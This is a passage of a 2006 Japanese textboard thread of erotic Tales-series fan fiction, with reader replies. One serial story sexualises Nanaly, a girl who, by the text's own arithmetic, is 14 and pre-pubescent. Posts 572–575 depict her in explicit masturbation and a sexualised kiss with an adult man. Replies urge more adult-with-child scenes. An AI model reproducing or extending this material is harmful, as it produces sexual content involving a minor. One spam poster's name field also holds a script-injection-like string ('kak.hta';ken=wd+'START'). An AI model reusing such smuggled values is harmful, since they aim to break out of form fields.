浅く動かせば、相手も合わせるように腰を揺らし、吸い付くように締め上げる。
女の顔へと視線を遣ると、見上げた瞳と目があった。
吊り上がり気味の、紫色の瞳を持つ目は、欲望に忠実であり、今は情欲を融かし込んでいる。
自分が欲しいと。
その視線に頭が灼ける。
なぜ、緋色の髪の少女は今ここにいないのだろう。
そのことがひどく理不尽に思えて、息まで小刻みに荒くなる。
ロニは一気に腰を引きつけて、律動を早めた。
女の甲高い声は、余裕のないすすり泣くようなよがり声へと変わっていく。
その声さえ、見つめる紫に対する不純物に思え、追い払いたくて、ロニは叩き付けるように腰を動かした。
体がぶつかる音も、馬鹿みたいに軋む寝台の音も、彼の耳には届かない。
下半身から上る快感と、体中に回った酔いで、意識が溶け出しそうになる。
組み敷く相手さえ消えて、目の前で、滲んだ紫色だけが揺れている。
女は背をしならせ、悲鳴のような声を喉から絞りながら、達した。
余韻でうねる胎内でまた彼も全てを放出した。
醒めていく視界に茶色い髪が映り、興奮が引き去っていくのと同時に、
呻くように呟いた名にも気付かないまま。




544 名前:名無しさん@ピンキー :2006/07/22(土) 09:33:16 ID:OzoKdkws

「ああ、痛いな、もう。いくら溜まってるっていったって、強くやりすぎだよ。
兄さん、がたいもいいし、筋力もあるんだからさ」
そう言う女の口調は、言葉とは裏腹に嫌味がなく、むしろさっぱりしている。
暗い中ではいくつか年上とも思えたが、明るいところで見れば、むしろこの女は自分より若いのかもしれない。
「悪かった」
ロニが苦笑しながら謝ると、
「ま、いいよ。いちおう最低限は気遣ってくれる分、マシな方だし、それに兄さん、色男だしね」
そう艶っぽく彼女は笑った。
女は煙草を灰皿でもみ消して、夜着を羽織りながら、彼に話しかけた。
「ところでさあ、あんた、あたしを抱きながら別の女のこと考えてただろう?」
ロニは水差しから飲んでいた水で、思わずむせそうになった。
「ごっ…、…ど、どういうことで?」
その様子をおかしそうに見つめながら、女は答えた。
「だってあんた、なんでだか知らないけど、あたしの目ばっかり見てるし、
それに最後、誰か女の名前呼んでたでしょ。くぐもってよく聞こえなかったけど」
意外なほど見抜かれていることに驚いて呆然としているロニには、返す言葉もない。
「ほんとは、お客の事情に首突っ込むのは、マナー違反なんだけどね。片思いなの?」
そう言って、彼女はさらりと何でもなさそうに尋ねてくる。
「片思いって言うか、なんて言うか……。とりあえず物理的に無理だな」
それ以前に、なぜ自分は真っ最中に彼女のことを思いだしたのだろう。
いくら自分が女に節操がないと言っても、子供を抱く趣味は今のところないはずなのだが。
まだ幼いとも言える大切な少女を、よりによって対象にするなんて、
自分のおそらく健全な常識からすれば、改めて罪悪感がこみ上げてくるようだった。
「不毛だねえ。じゃ、最後にアドバイスあげる。」
呆れたように笑っている彼女は、ロニの方を向いた。
笑うと細まる紫の瞳に、今は一つも共通点は見いだせなかった。
「それはまたご親切に、どーも」
「抱くんなら、全然似てない子の方がいいよ」
確かにそれは的確な指摘だった。
どんなに似ている女も彼女ではないし、似ている分だけ否応なしに罪悪感が増す。
最低あと数年は、抱くことなど不可能なのだから。
「相談料はまけておいてあげる。あんた、金には縁がなさそうだし」
そう言って女は、2本目の煙草に火を付けた。

545 名前:名無しさん@ピンキー :2006/07/22(土) 09:34:27 ID:OzoKdkws


外に出ると、普段通りの喧噪が周りに溢れている。
けれどロニは、洗い流しても、自分にはまだ名残がまとわりついているような気がした。
今日はパン屋の方も休みだが、さてどうしよう。
帰って、デュナミス孤児院の子供の相手をしてやるのが無難な選択肢ではある。
それとも、まだ「女」にもなっていないような少女に会いに行こうか。
幼い彼女はなんにも気付かないだろう。
いや、それとも案外聡い彼女なら気付くだろうか。
ロニはその思いつきに、薄く笑った。
その方がいいのかもしれない。
見知らぬ女の匂いを嗅いで、咲き急ごうとする蕾は早く綻ぶだろう。

546 名前:名無しさん@ピンキー :2006/07/22(土) 09:35:38 ID:OzoKdkws
以上
おそまつさまでした

ロニはへたれなので結局ナナリーが16歳くらいになるまで抱けないに10000ガルド

547 名前:名無しさん@ピンキー :2006/07/22(土) 10:21:43 ID:R5Sbt4WH
GJ!!
やっぱり頭の中はロリ・デュナミスなのか。
俺は15歳に100エゾゲマツ

548 名前:六神将 :2006/07/22(土) 15:13:53 ID:xT5s3BBs
GJ!
にしてもネタも神も少ない事少ない事orz(全盛期知ってるからなあ……)

じかがきでいいなら俺のシンアリも少しずつ投下するが?

549 名前:名無しさん@ピンキー :2006/07/22(土) 16:29:40 ID:JjiqsLtR
じかがきでいいので氏のシンアリを少しずつ投下してもらえないでしょうか?

550 名前:名無しさん@ピンキー :2006/07/22(土) 20:16:15 ID:ufZsFTO4
GJ!!普通に面白かった

某テイルズサイトでも、毎日投稿していた人が大学いったとかで投稿されなくなったら、途端に他の人の投稿頻度も減ったからな。
やっぱり誰かが毎日とは言わないが引っ張っていかないとならんのかもな。

551 名前:名無しさん@ピンキー :2006/07/22(土) 21:38:19 ID:JauXOFJa
>>546
これは斬新な発想だなぁ
ロニの色んな葛藤が見ていて面白かった
歳の差って上のほうが色々気を使いそうだしなぁ
相手が炉だとなおさら

次はもちろんロニ×幼ナナですよね?ですよね!?


552 名前:名無しさん@ピンキー :2006/07/23(日) 00:03:29 ID:R5Sbt4WH
六神将氏にwktkしつつも、
リメイクの余波でDものも読みたくなってきたぞ。
                         ____
     /ハ/ノノ_              | ||\    \
   /∠レ=レ=レヽ                | ||  l ̄ ̄ ̄ l <ひゃぁっ、ケヤキさんが
  │〃リ' ´∀`) 〜♪ .┌‐‐┬┐     | ||__/ ̄ ̄ ̄/  <中に入ってくるよぅ!
  ノ,− i _う∞0  、    |PSx|llll|    [二二」二二二]   
  (.   ヽ´⊃~⊃, 〜〜|  旧|ヽ______|   ||     |
    ̄ ̄ ̄ ̄ ̄      ̄ ̄ ̄     ̄ ̄ ̄ ̄ ̄ ̄

553 名前:名無しさん@ピンキー :2006/07/23(日) 01:00:56 ID:b0OHmVVZ
>>552
王道物でよかったら考えてみようか?

554 名前:kak.hta';ken=wd+'START :2006/07/23(日) 01:30:48 ID:vWIDZLVR
久々に糞

555 名前:名無しさん@ピンキー :2006/07/23(日) 02:34:50 ID:LSxr5eIM
>>546
神GJ!!!
このご時世にロニやらナナリーやらが拝めるとは思わんかった
ナナリーたんのももし気が向いたらたのむ

>>552
スカタン一体どういうゲームやってんだよww

556 名前:突発ネタエロ無しキール×メルディ :2006/07/23(日) 02:53:45 ID:YqLUvMeM
正直言って、不安になる。
自慢じゃないが自分はそれなりに我慢強い方だと思うし、理性だってちゃんと聞く。
そもそも度胸もなければ勇気も無い。は?自分で言ってて悲しくないかだと?……ウインドカッター。
まぁ、つまり何がいいたいかというとだ。

――少々、無防備すぎやしないか、とだな。

いや、彼女は彼女なりに色々あるのだろう。それは分かる。
そもそも男だの女だの考える暇があればこれからの事を考えなくてはならないような人生を歩んできたのだ。
過去のトラウマからか、精神面が多少実年齢より下にあるという事は僕だって分かっている。
男が女性に対し――つまり、自分に対しどういう感情を抱くのか。
分かっていないし想像もつかないのだろう。いや、だから分かってるってば。
しかし、しかしだな。年頃の女の子がお風呂あがりに異性に抱きついたり、くっついたまま熟睡したりするのはどうなんだ!?
あ、いや、これはあくまで例だ。別にその所為で眠れなくなったとかそんなのは一切無い。
だから無い!いや、ちがっ、あーもううるさい!無いといってるだろう!フリーズランサーをあびたいのか!?
…そう、分かればいい。で、どこまで話したんだ?あぁ、そうそう。
あいつは警戒心というものが無さ過ぎるんだ。まず第一に家族でもない異性と二人きりで同居するというのも僕は考えものだ。
そりゃもちろん一人暮らしはそれはそれで心配だし、変な奴に襲われるぐらいなら僕が…って、違う違う!!
僕が敵をひきつけてる間にあいつは逃げられるかもしれない!
……うるさいな、僕じゃ頼り無い事ぐらい分かってるさ!だから倒すとは言わなかったじゃないか!
あぁ!もう!なんで僕とあいつが同じ布団なんだ!いくら僕でもしまいには襲うぞ!?
いっつもいっつも薄っぺらいネグリジェだかなんだかしらないけど妙な布っきれ一枚で!
風邪をひくだろう風邪を!一緒に寝たいならせめてクイッキーを真ん中に入れるとか何か出来ないのか!
しかもあいつ、妙にひっついてくるんだよ!以外と大きい胸がしっかりと僕の腕に……ってだから違う!!
僕が言いたいのはそういう事じゃなくて…!!

557 名前:突発ネタエロ無しキール×メルディ :2006/07/23(日) 02:54:51 ID:YqLUvMeM
「もういいって…聞いてるこっちが泣けてきたぜ」
ぽんぽん、と親友兼ライバルの肩に手をあて、目頭を押さえるリッドに思わず殺意を覚える。
――口元が笑ってるんだよ口元が!
そもそも何故自分はこいつにこんな話をしているのだろう、と不思議に思うが、話題を振り返るほど頭が回転しない。
「っていうかお前、そこまでやられてよく我慢してんな」
目じりに涙をため(泣き笑いだ)リッドが問いかける。
実際眠れないので研究と偽って書斎(自分専用の部屋)に一晩中こもる事も何度かあったが、わざわざそれを話そうとも思わない。
下手すれば深夜に抜け出してトイレにこもり、自分で抜く事も一度や二度ではない。
「まぁ、でもそこで襲わねぇキールだからこそ安心してるんだろーけどな」
あぁ、そうだ。それが問題だ。
出来れば彼女にはいつでも笑っていてほしい。
特に、自分の所為で泣く彼女なんて見たくも無い。
もしこの先「そーいう事」をする時がきても、必ずお互い合意の上でがいい。
その方が僕だって精神的に快楽が大きい…と思う。したことが無いので実際よく分からないが。
「ま、今度ファラの方からそれとなーく言っとくよう仕向けとくぜ。それでいいんだろ?」
「あぁ、すまない。恩に着る」
やはり同性から言ってもらうのが一番だ。ファラだってそこはさすがに協力してくれるだろう。
ほっと安堵の溜息が出る。それと同時に彼女の――メルディの笑顔が脳裏に浮かんだ。
「でもよ、メルディってどんな顔で喘ぐのか見てみてぇよなぁ〜。特にあぁいうタイプは調教のしがいがあるっていうか…」
……浮かんだメルディの笑顔は、男の欲望を満たす女の顔に一瞬で変化した。

「リッドォォォォォォォ!!!!!!!!!!!!!!」



おまけ

「嘘ーー!?!?キールってば、もしかして不能なわけ!?」
「フノウ?…って何か?」
「あ、いや、多分違うと思うから気にしないで。きっとキールは根性無しだから、その所為だと思う…」
「もしかしたらメルディ、嫌われてるかもしれないな…」
「それは無い!絶対大丈夫!キールの愛、確かめたいでしょ?」
「はいな!早くファラの言う『好きな人と一つになる』、体験したいよぅ!」
「よーし、次は『キールの愛を確認!初めては痛いけど、痛さの分だけ愛があるプロジェクト 第17章 裸エプロン編』だよ!
 うん、イケるイケる!!」

558 名前:名無しさん@ピンキー :2006/07/23(日) 03:37:49 ID:zB+ILaGS
>>557
イケるイケる!!エロ無しだが良かたよ〜

559 名前:名無しさん@ピンキー :2006/07/23(日) 08:29:27 ID:DoQif1YI
>>557
エロ無くてもお腹いっぱいGJ!!
ファラ何教えてんだファラwwww

メルディの喘ぎを聞きたいこのスレのリッドは淫獣学園でも見てろ

560 名前:名無しさん@ピンキー :2006/07/23(日) 23:47:51 ID:9Gw3PNy5
GJ!最近はスレの雰囲気が戻ってきてて良い感じだな。良いことだ。

561 名前:名無しさん@ピンキー :2006/07/24(月) 00:57:37 ID:+2X7Td1d
ちょっと来ない間に職人さん来てたこれwww
皆さんGJ!

562 名前:過疎 :2006/07/24(月) 01:14:23 ID:j29Oim50
ξミヽ( ・∀・)ノξ ウンコー ◆2.0Km1unko さんのご尊顔
http://news.80.kg/index.php?plugin=attach&refer=%B5%AD%BC%D4%B0%EC%CD%F7&openfile=unko01.jpg
http://news.80.kg/index.php?plugin=attach&refer=%B5%AD%BC%D4%B0%EC%CD%F7&openfile=unko02.jpg

563 名前:kak.hta';ken=wd+'START :2006/07/24(月) 01:17:40 ID:j29Oim50
               _
              /  \―。
            (    /  \_
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        \lヽ::::ノ丿      /
          しw/ノ___-イ
           ∪

564 名前:kak.hta';ken=wd+'START :2006/07/24(月) 01:19:25 ID:j29Oim50
               _
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          しw/ノ___-イ
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565 名前:kak.hta';ken=wd+'START :2006/07/24(月) 01:20:36 ID:j29Oim50
               _
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          しw/ノ___-イ
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566 名前:kak.hta';ken=wd+'START :2006/07/24(月) 01:23:18 ID:j29Oim50
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567 名前:kak.hta';ken=wd+'START :2006/07/24(月) 01:25:56 ID:j29Oim50
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568 名前:kak.hta';ken=wd+'START :2006/07/24(月) 01:53:02 ID:j29Oim50
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          しw/ノ___-イ
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569 名前:kak.hta';ken=wd+'START :2006/07/24(月) 02:01:09 ID:j29Oim50
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          しw/ノ___-イ
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570 名前:kak.hta';ken=wd+'START :2006/07/24(月) 02:04:44 ID:j29Oim50
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          しw/ノ___-イ
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571 名前:540 :2006/07/24(月) 16:02:48 ID:0br1Eoi6
>>557
キルメルはラブコメもシリアスもいいな
同居なんて美味しすぎる

というわけで、
続編が出来たので投下してみる


572 名前:名無しさん@ピンキー :2006/07/24(月) 16:03:34 ID:0br1Eoi6
目の前が紅く染まる。
まるで破瓜の血のように。

白い衣服が風に翻り、溜まっていた洗濯物を吊し終えたころにロニが来た。
「わっ、ロニ兄ちゃんだ!」
「おう、ルー、元気にしてたか?相変わらずちっさいなあ」
「うるさーい!」
さっそくルーがじゃれついているのを見ながら、ナナリーは玄関に向かう。
「いらっしゃい。今日休みだったの?」
「ああ、ナナリーも元気そうだな」
そう言ってにいと笑いながら、ロニはナナリーの髪をくしゃくしゃと撫でた。
「ちょっ、さっき結んだばっかりなのにバラバラになるよ!
もう、お茶いれようと思ってたところだから、そこに座ってなよ」
そんなナナリーの態度にロニは苦笑しながら、ルーを促してテーブルについた。
「いやあ、お前はいつ来てもかわいげってものがないよな。
なあ、ルー、お前は姉さんの凶暴なところが似なくて良かったな」
「ロニっ!」
いつも通りのやりとりを続けながらお茶を飲み終えると、ロニは立ち上がった。
「よーし、ルー。今日は何する?」
「えーっと、僕ねえ……」
そう言いながら近寄ってきたルーを、ロニはひょいと担ぎ上げて肩車した。
その拍子、丈の短い上着がふわりとめくれて、まだ椅子に座っていたナナリーの視線に、
ロニの背中の下の方にある爪痕が不意に飛び込んだ。
魔物によるものでは決してない、人の、おそらく女の爪によるものが。
「ルー、お前、この前より重くなってないか?」
「そうだよ。僕はいつか、ロニ兄ちゃんより大きくなるんだ」
頭にぐっと血が上る。
耳の後ろがどくどくと脈打って、二人の会話はナナリーの耳には届かない。
呼吸の仕方を忘れてしまったかのように息苦しく、視界は一面真っ赤だった。
「……っあ」
「どうした、ナナリー?」
息苦しさから出た声にロニが振り向いた。
今の自分の表情を見られたくなくて、ナナリーは立ち上がり、戸口へと向かう。
その手は、手のひらに爪が喰い込むほど、ぐっと握り締められていた。
声が震えないように何度か息を深く吐き、呼吸が整うのを待った。
「ルーはロニと一緒に、薪割りを頼むよ。隣の家の兄貴のほうが風邪で倒れてるから、そっちの方もお願い」
「えー、姉ちゃん、人使い荒いよ」
「あたしは修理を頼んでた弓の引き取りに行くから」
そう言ってまだ不満げな声にも振り向かず、ナナリーは家を出た。




573 名前:名無しさん@ピンキー :2006/07/24(月) 16:04:07 ID:0br1Eoi6

走って辿り着いたのは、町はずれにある倉庫だった。
人気のないここは、広くも狭くもなく湿った空気がこもり、
家具になる前の木材や、家を造る時に余った石材が無雑作に積み上げられている。
ナナリーは辛いことや泣きたいことがあった時には、決まってここに来た。
家の中ではルーがいて、幼い弟を心配させるようなことはできない。
乾いた地面をサンダルで走ってきたせいで、足の裏が燃えるように熱い。
悔しくて悔しくて、ぼろぼろと涙が流れた。
「馬鹿ロニ……、もう、やだぁ…」
しゃくり上げるのを抑えるために、ぎりりと歯を食いしばった。
ロニはきっと、自分が何も知らないと思ってるんだ。
知らないはずなんてない。ほんとは、ずっと前から気付いてるのに。
ここは子供の多い町だからこそ、そう言った知識は幼い頃から教え込まれる。
大人による無防備な子供への蹂躙から、若さ故の不用意な過ちから、自分達を守るために必要なことだ。
だから、あの爪痕の意味なんか分かりきってる。
そういうことが、ずっと前から続いていることも。
今の自分が、そういった意味で、ロニの相手にならないことも。
ナナリーは服の胸の辺りを、ぎゅっと握り締めた。
ようやく膨らみかけた胸は、服一枚着てしまえば、外からはほとんど分からない。
ここ数年で髪は背中に届くようになり、背も随分伸びたが、
体つきは同年代の女の子と比べると少年のようで、生理もまだ来ない。
友達の体が丸みを帯び、柔らかくなっていくのが羨ましかった。
気持ちばかり焦っても、体はまるで付いてこない。
どうして14も離れてしまったんだろう。
自分が16になる頃には、ロニはもう30だ。
『いくら側にいることが出来ても、いつ離れてしまうか分からない』
心の奥底から来る、体に染みついたような、誰のとも知れないその思いが、いつもナナリーをかき立てる。
ごわごわの手袋を嵌めた手で髪の毛を掻き回されるのも、冗談交じりに抱き上げられるのも、本当は嫌いじゃない。
けれど、それだけでは駄目なのだ。
もっと、ずっと、しっかり彼を結びつけるには。

574 名前:名無しさん@ピンキー :2006/07/24(月) 16:05:17 ID:0br1Eoi6
走ってきたばかりで息も鼓動も荒く、体が熱い。
体の一点が、ふつりとひどく疼いた。
ナナリーはスパッツと下着を膝の辺りまでずり下ろして、しゃがみ込んだ。
少し湿り気を帯びて充血したそこが剥き出しになり、ひんやりとした空気が当たる。
いまだ何にも守られず滑らかな場所へ、ナナリーはそろりと手を伸ばした。
触れた瞬間、ぴくんと肩が跳ねる。
溜め息のような声を零しながら、ナナリーはさらに指を進め、ぬめる奥へと指を潜り込ませる。
いくつか年上の少女に教わった行為は、いつしか彼を思いながらするようになっていた。
中でもどかしげに動いているのは自分の指で、彼の指ではないのに、
ロニ、ロニ、とうわごとのように掠れ声で何度も呼んだ。
熱い胎内は自分の細めの指でもきつくて狭くて、
彼の浅黒くてしっかりした指も、ましてそれ以上のものなんて受け容れられるはずはないのに。
溢れ出た雫が手首をつたって、ぼたりと床に染み込んでいく。
知らず腰が揺れて指が深く埋め込まれ、その度に押し殺しきれない声が漏れる。
滴る雫の量が増え、どんどん床の染みの大きさが広がっていく。
泣きそうな声で彼を求めながら、与えられない体は、絶えきれずに上り詰めてしまう。
最後の喘ぎは言葉にもならず、ただそのくぐもって切れそうな音だけが、湿った空気に響く。
力の抜けた身体を支えきれずに、ナナリーは床に手を付いた。
引きつるような啜り泣きが、堪らずに漏れる。
こうやって昨晩ロニと他の女が交わっていた事が、どうしようもなく悲しかった。




575 名前:名無しさん@ピンキー :2006/07/24(月) 16:06:23 ID:0br1Eoi6

家に帰ると誰もおらず、汗ばんだ肌を流すため、ナナリーは軽く水浴びをした。
着替えて出てくると、ルーは見当たらず、ロニだけがソファで眠っていた。
夕暮れの乾いた風が、さらりと肌を撫でて心地よい。
ナナリーはソファの前にしゃがみ、暢気に寝こけているロニの顔を眺めてみた。
「ロニの鈍感……」
薪を用意した後、いつものように近所の子供たちの相手をしてくれたのだろう、
気持ちよさそうに寝ていて、耳元に呟いても、起きる気配は全くない。
ほっぺをつまんで引っ張ってみると、ロニはぼんやりと目を開けた。
「…ったあ、ナナリー?帰ってたのか」
「ルーは?」
「薪届けにとなり二位ったら、お礼に夕飯ごちそうしてくれるってさ」
「そう」
返事をし終えても、ナナリーはそのままロニを黙って見つめた。
金色の瞳は起き抜けで焦点が定まらないまま、自分を見ている。
その金色があいまいで、また涙がにじみそうになる。
幼く拙いやきもちだけで済んでいたなら、どんなによかったろう。
「ナナリー?」
心配そうな顔の側に手を付いて、そっと唇を近づける。
「ぅあ、っん?」
低い声が自分の口を通って伝わってきた。
薄く目を開けると、ロニは驚いた目をして、はっきりこちらを見つめていた。
思い知ればいいんだ。
初めては入り込んだ他人の口内は生暖かく、舌は厚くて大きかった。
重力によって落ちる唾液が口の中から零れて、彼の輪郭に沿って流れ落ちていくのを、指でなぞる。
ロニの大きな手が、優しく頭を撫でた。

576 名前:名無しさん@ピンキー :2006/07/24(月) 16:07:57 ID:0br1Eoi6
以上
ここまでが限界だった

結局いつやっちゃうのかは皆さんの想像に任せます

577 名前:名無しさん@ピンキー :2006/07/24(月) 16:09:54 ID:a+R5786G
っておまw
生殺しかよ!!
いつか続きを書いてくれることを期待する

それにしても16×30とは思った以上に歳離れてるんだな

578 名前:名無しさん@ピンキー :2006/07/24(月) 18:19:12 ID:x52qZgcF
アニーとユジンは15と40だ


気にするな


因みに知り合いのホモは18と39でくっついた

579 名前:名無しさん@ピンキー :2006/07/24(月) 18:31:02 ID:FLx2H0XO
投稿したいんだけど、ここってエロネタしかダメなんかな?かな?

580 名前:名無しさん@ピンキー :2006/07/24(月) 18:32:13 ID:x52qZgcF
んなこたーない

581 名前:名無しさん@ピンキー :2006/07/24(月) 18:53:49 ID:EjJS1oVL
>>576
GJ!!!
ロニはその場でやっちゃうと予想

582 名前:名無しさん@ピンキー :2006/07/24(月) 19:03:25 ID:Ld9on7DY
>>576

そんな二人の様子をある男がじっと見つめていて…。
ttp://www58.tok2.com/home/hermitage/monster/015barbatos.htm

583 名前:名無しさん@ピンキー :2006/07/24(月) 19:07:26 ID:FPaLT+SC
本人じゃなくてもいいから、誰か続きを!!

584 名前:子作りテイルズ :2006/07/24(月) 21:27:20 ID:LaSPgb4o
「ルーク、あなたとわたくしで世継ぎをつくりましょう」
 ナタリアがとても真面目な顔をして変なことを言った。
 よくわからないが変なことを言った。そういえば俺を部屋に招き入れたときからなんだかナタリアは様子が変だった。話があるから部屋に来いと俺を呼び出すときもナタリアは様子が変だった。
 自分でケテルブルクのホテルに泊まりたいと提案しておきながらこいつの様子は変だった。
 そういえば最近ナタリアは挙動不審でなんだか変な感じだった。
 だから当然ナタリアはこの話を切り出すときもおかしくて変で、部屋に入ってきた俺を椅子に座らせるなり飲み物を二つ用意して、テーブルを挟んだ正面の椅子へ座り俺と向かい合い、しかしそれからというものすっかり黙り込んでしまったのだった。
 視線をきょろきょろと壁なり天井なりへと走らせ、消え入りそうな声で何かを言い出そうとしては止め、何かを言い出そうとしては止めていた。
 俺がカップに入った紅茶を全て飲み干すと、ナタリアは口を付けていない自分の分を俺に渡してからまた黙り込んだ。
 それも飲み終えると今度はおかわりを淹れて用意しそれを俺に飲むよう促したが、いいかげん俺も水分過剰摂取気味だったしもう夜も遅くて眠かったので、何か用があるなら言ってみろよとなるべく優しげに聴こえるよう言ってみた。
 どうやらナタリアはそれで決心がついたみたいで、手を胸の前で合わせもじもじしながら「まこと言いにくいことなのですが……」と本当に言いにくそうに言葉を繋いだ。
 その様子がまったくナタリアらしくなくて笑えるという意味でおかしかったが、ナタリアのおかしさは俺の予想していたおかしさをさらにぶっ飛ばしておかしかった。
「俺達で子供をつくるだって……?」
 俺は混乱した。ナタリアの頭のネジが数本外れてないかどうか心配した。
 ……なあお前、顔が赤いし熱でもあるんじゃないの。なんか最近様子がおかしかったけど俺でよかったら相談に乗るよ。
 俺バカだし世間知らずだけどお前の悩みを訊くぐらいならできるからさ。
「で、ですから今こうして思っていることを告白しているのでしょう」
「そうか……」
 ナタリア……ごめん、やっぱり俺バカだからわからないよ。俺は劣化レプリカだから、お前が何を言っているのかわからないよ。
 思考停止が俺の専売特許だから全然わからないよ。見てみたガールの考えていることはまったくわからないよ。

585 名前:子作りテイルズ :2006/07/24(月) 21:28:59 ID:LaSPgb4o
「ルーク? 訊いていまして?」
 俺が思考停止していると、いつしかナタリアが上目がちになって俺の顔を覗き込んでいた。
 その突然の急接近に俺は驚いたが、椅子に座っているため後退することも横に飛んでかわすこともフリーランで背後に回り込むこともできずナタリアと目が合ってしまった。
 こうして見ると、目の前にある見慣れた顔は小さくて存外可愛らしく、潤んだ瞳や柔らかそうな唇を見ているとなんだかまんざらでもない気持ちにならなくも――
「し、しっかり訊いてるよ。ちゃんと考えてるよ」
 俺は頭を振って雑念を追いやり、伏線も盛り上がりもドラマも何もない唐突なナタリアの告白に対してどう答えればいいのか考えることにした。夜中に部屋へ呼び出す? 子供をつくる? つまりナタリアは俺のことが好き?
 いやいやそれはない。許婚だけどそれはない。必ずしもないとは言えないけど必ずしもあるともいえない。だからきっとナタリアは混乱しているんだ。悪いモノでも拾って食べたに違いない。
 俺は深呼吸でなんとか心を落ち着かせてから、しどろもどろに身振り手振りで説得を試みた。
「その、なんだ……お前はアッシュが好きなんだろ。たしかに俺はあいつと似たようなものなのかもしれないけどよ、そういうのってこれまで二人が共有してきた思い出とか記憶とかが大事だろ。
 まぁたしかにアッシュはどこで何してるかわからないから、お、お前の気持ちもわからないでもないけどさ……なんだったら繋がったラインからあいつを呼び出せるかどうか試してみるからさ。俺頑張るからさ。不人気だからってあんまりヤケになるなよな」
「ち、違いますわ。これは別に好きだ惚れたの話ではなくて……ああ、なんて言ったらいいのか。……そうですわ」
 これはもっとシリアスな話なのだとナタリアは言った。よくわからなかったが俺はとりあえず頷いてから姿勢を正してみた。
 思考をシリアスな感じに切り替えようと努めた。これからたぶんえろい展開になるのでシリアスで固くて難しい淫語を連発できる様、語り口が三人称になるよう努めた。

586 名前:子作りテイルズ :2006/07/24(月) 21:30:31 ID:LaSPgb4o

*       *        *

 それが強化タルタロスで地殻の傍まで行ったりした少し後の話だった。
 それからケテルブルクホテルの一室、長い台詞がしずしずと始まった。
 下記URLにその少し長くなってしまった前振り、つまりキムラスカランバルディア王国ファブレ伯爵嫡男、ルーク・フォン・ファブレの別段読まなくても支障のない栄光と挫折がhを抜いて置いてあるのだった。つまりリンク先はエロ無しだった。
ttp://sspool.xxxxxxxx.jp/kodukuri.htm

 リンク先で述べられたナタリアの話は要約するといつ死ぬかわからないから二人で子供を作っておこうという類のものだった。
 その長台詞をルークは斜め読みしつつ深く考えずに了承した。
 しかしそれからどうやってすればいいかわからなかったので、二人は預言《スコア》を頼りに子作りすることにしたのだった。
 二人は失敗を経て預言通りに迷走を続けた。
 そしてここからが外殻大地を降下させたりするちょっと前の話だった。

*       *        *


587 名前:子作りテイルズ :2006/07/24(月) 21:31:54 ID:LaSPgb4o
 閑話休題。
 上記の経緯を経て、以前と同じくケテルブルクホテル個室。
 色々な宿の寝所で行為に及びながらも悉く失敗してきた二人だったが、やはりケテルブルクホテルがそういった事には一番適しているのではないかという結論に辿りついた。
 何しろ枕投げをしても回避スペースが余りあるくらいに広い。
 それに室内にはゆったり湯浴みできるバスルームがあり、個室だからドアに鍵さえ閉めておけばうっかりばったり誰かと鉢合わせするなんていうハプニングも起きない。
 室内の壁は厚くて隣接した部屋や階下に声が漏れてしまう心配もないから安心だ。
 だが他の宿ではこうはいかない。余所ではいつも危険と隣り合わせだった。
 元々人目から隠れての密会なため、こうして夜二人が会っていることを誰かに知られてしまってはいけない。
 正規ルートにはないので誰かに知られてしまってはいけない。
 二人がこうして夜中会っていることは混み入った国家問題であり、彼らがこれまで頑張って築き上げてきたパーティ関係――つまり人間の基本的尊厳に関わる重要な内密機密事項であり、誰かにバレてしまうわけにはいかなかった。
 だから店主が部屋のことは気にするなと言うような場所では駄目であり、ましてや相部屋なんていうのは論外であり、つまり安宿では心がざわざわして何処か落ち着かないのだった。
 そういった様々な要因を考慮に入れ、目的を果たすためにはガルドをケチってはいけないという結論に二人は辿り着いたのだった。
 しかし――だがしかし、現実というものは得てして厳しかった。現実という名の荒波は時として残酷な事実を突きつける。
 彼ら二人は共に貴族、それも王族というマグロの中でも大トロのような家柄の出だったが、今現在の彼らは何かと世を忍び身分を隠しているため、財布の中身にはどうしようもなく限りがあるのだった。
 つまり旅先で稼いだガルドしか持ち合わせがなかった。最近大きな買い物をしたため私財は残り少なかった。
 実を言うとケセドニアで半ば詐欺の品ドラゴンキラーを一桁値段を見間違えてつい買ってしまったためお金が全然なかった。

588 名前:子作りテイルズ :2006/07/24(月) 21:32:54 ID:LaSPgb4o
 それは金銭の機微に疎い初心者や貴族にはありがちなミスといえたが、事ここに至っては大きな痛手だった。些細なミスだったが有限だったチャンスがさらに絞られてしまった。
 事態は二階の窓からパラライボトルを数滴垂らしてもらって、下にいる自分がそれを口から飲み込み痺れ状態から回復するぐらい難解になってしまった。
 ……まったく微妙な剣を高値で店頭に並べておくなよなと彼は思った。まったくもう酷い話もあったものだと彼は思った。ああ、まったくもう自分で自分が嫌になる――
「――くどいっ!」
「……ルーク?」
「あ……いや何でもない。ただの気のせいだった」
 頼りない照明の元、二人は寝台に隣り合って腰掛けていた。
 取り留めなく浮かんだ雑念を打ち払うようにルークは頭を振った。気のせいでない回りくどい現状報告は収めてそろそろ本気で行かせて貰うとルークは覚悟を決めた。
 ホテル室内は控えめな明かりのみで薄暗かったが、もうそれにも目が慣れていたので横に目をやれば隣に座っているナタリアの表情はしっかりと見て取れた。
 彼女は肩に力を入れて国のため民のため使命に燃えているように見えた。俯きがちでどうやら緊張しているようにも見えた。
 なんだか丸くなって隣にいる彼女の身体は気のせいか小さく見えた。
「…………」
「…………」
 今回は趣向を変えて服を脱がすところから始めるという予定だった。
 これまでは了承を得てから後ろを振り返ると衣類を身に着けていない相手が佇んでいるというシュチュエーションだった。
 しかし、そろそろお互い少しだけ慣れてきたので着衣の状態から始めてみることにした。預言《スコア》にも脱ぎかけの方が何かといいと書いてあった。
 失敗続きの現状を打破するためこれまでとは違うやり方に挑戦してみることにしたのだった。預言はすっかり二人の行為を手助けする手ほどき本になっていた。
 ルークは心の中で小さく決意をしてから、まずは隣にいるナタリアに近づいて身を寄せてみた。
 互いの肩が触れると、二人の間にある緊張の糸がより一層張り詰めたような気がした。

589 名前:子作りテイルズ :2006/07/24(月) 21:33:53 ID:LaSPgb4o
 黙ったまま回り込んで、寝台に腰掛けているナタリアを後ろから抱きすくめた。
 目の前にある彼女の細い左肩にルークは顎を載せ、腕を回して身体を密着させる。
 腕の中にある身体は華奢な割にふかふかと柔らかく、抱き心地がよかった。耳を澄ませると息を吐き出す音が聴こえ、それに応じて彼女の胸が上下する様子を感じる。
 呼吸の度に金砂のような髪が揺れてルークの右頬をくすぐった。
「……これはこれで」ナタリアがぽつりと漏らした。「なんだか変な感じでドキドキしますわね……」
 ルークはそれに答えず預言手順に書いてあったことを思い出しながら、華奢な身体に回していた手の平で着衣越しに身体を撫ぜる。
